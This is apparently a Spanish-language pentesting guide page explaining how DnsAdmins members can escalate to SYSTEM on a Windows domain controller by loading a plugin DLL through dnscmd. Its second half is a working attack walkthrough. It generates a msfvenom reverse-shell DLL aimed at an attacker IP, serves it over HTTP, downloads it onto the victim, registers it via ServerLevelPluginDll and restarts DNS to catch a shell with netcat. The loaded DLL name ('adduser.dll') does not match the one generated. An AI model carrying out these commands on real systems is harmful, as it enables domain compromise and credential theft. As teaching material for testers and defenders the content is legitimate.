DnsAdmins
Los miembros del grupo DnsAdmins tienen acceso privilegiado a la información DNS dentro de la red. El servicio DNS de Windows soporta complementos personalizados, lo que le permite invocar funciones desde dichos complementos para resolver consultas de nombres que no están cubiertas por las zonas DNS locales. Este servicio se ejecuta bajo la cuenta NT AUTHORITY\SYSTEM, lo que significa que ser miembro del grupo DnsAdmins puede ser aprovechado para escalar privilegios en un controlador de dominio o en un servidor independiente que actúe como servidor DNS para el dominio.
A través de la utilidad dnscmd, es posible especificar la ruta a una DLL de complemento personalizada. Como se explica en detalle en esta publicación, se puede realizar un ataque cuando el servicio DNS se ejecuta en un controlador de dominio, que es una configuración común. El ataque podría ocurrir de la siguiente manera:
Gestión DNS por RPC: La gestión del servicio DNS se lleva a cabo a través de RPC (Remote Procedure Call), lo que permite interacciones remotas.
Carga de DLLs personalizadas: A través del parámetro ServerLevelPluginDll (documentado en el protocolo MS-DNSP), es posible cargar una DLL personalizada sin necesidad de verificar la ruta de la DLL. Esto se puede lograr usando el comando dnscmd en la línea de comandos.
Modificación del registro: Cuando un miembro del grupo DnsAdmins ejecuta el comando dnscmd, la clave del registro HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\DNS\Parameters\ServerLevelPluginDll se configura para apuntar a la DLL especificada.
Reinicio del servicio DNS: Al reiniciar el servicio DNS, la DLL definida en el registro se carga, lo que podría incluir una ruta que apunte a un recurso compartido en la red accesible para la cuenta de máquina del controlador de dominio.
Explotación de la DLL: Un atacante puede aprovechar esta vulnerabilidad cargando una DLL personalizada con fines maliciosos, como ejecutar un shell inverso o cargar herramientas como Mimikatz para volcar las credenciales almacenadas en el sistema.
Este ataque se basa en la capacidad de un atacante con privilegios de DnsAdmins para cargar una DLL maliciosa en el servidor DNS, lo que puede comprometer gravemente la seguridad de la red y permitir la escalada de privilegios o el acceso a información sensible.
Abusando del grupo DnsAdmins
Generando una DLL maliciosa
Podemos generar una DLL maliciosa para enviarnos una reverse shell a nuestra máquina atacante.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.15.162 LPORT=4444 -f dll > shell.dll

Iniciando el servidor HTTP local
A continuación, creamos un servidor HTTP con Python para compartir el archivo dll.
python3 -m http.server
Descargando archivo al destino
Descargue el archivo en la máquina víctima.
wget "http://10.10.15.162/shell.dll" -outfile "shell.dll"
Cargando DLL
cmd.exe /c dnscmd.exe /config /serverlevelplugindll C:\Users\netadm\Desktop\adduser.dll

Netcat Listener
nc -lnvp 4444
Detener el servicio DNS
sc stop dns

Iniciar el servicio DNS
sc start dns

Ganamos acceso al sistema como NT AUTHORITY\SYSTEM
.

Última actualización